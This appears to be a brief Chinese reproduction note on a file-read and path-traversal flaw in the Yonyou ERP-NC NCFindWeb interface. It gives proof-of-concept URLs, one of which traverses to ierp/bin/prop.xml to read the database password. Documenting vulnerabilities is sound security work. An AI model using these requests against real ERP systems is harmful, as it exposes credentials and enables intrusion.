用友ERP-NC系统 NCFindWeb接口文件读取

用友ERP-NC系统 NCFindWeb接口文件读取

工作中遇到的漏洞，基于前人的复现教程成功复现，记录下自己的复现笔记，如有侵权，请联系我删除

漏洞详情

网上说可以遍历各种系统文件，但是实战中感觉对方实际上是做了控制的，存在漏洞但不一定真的能弄到敏感文件。

漏洞复现

POC

 http://vul/NCFindWeb?service=IPreAlertConfigService&filename=

在filename构造不同的路径可以访问到一些敏感文件

POC2

http://vul/NCFindWeb?service=IPreAlertConfigService&filename=../../ierp/bin/prop.xml 可以读取到数据库密码

大多数时候是上图那样的，图中的文件都可以读取，但是其他文件夹不一定能穿越，不知道有没有大神能指点下。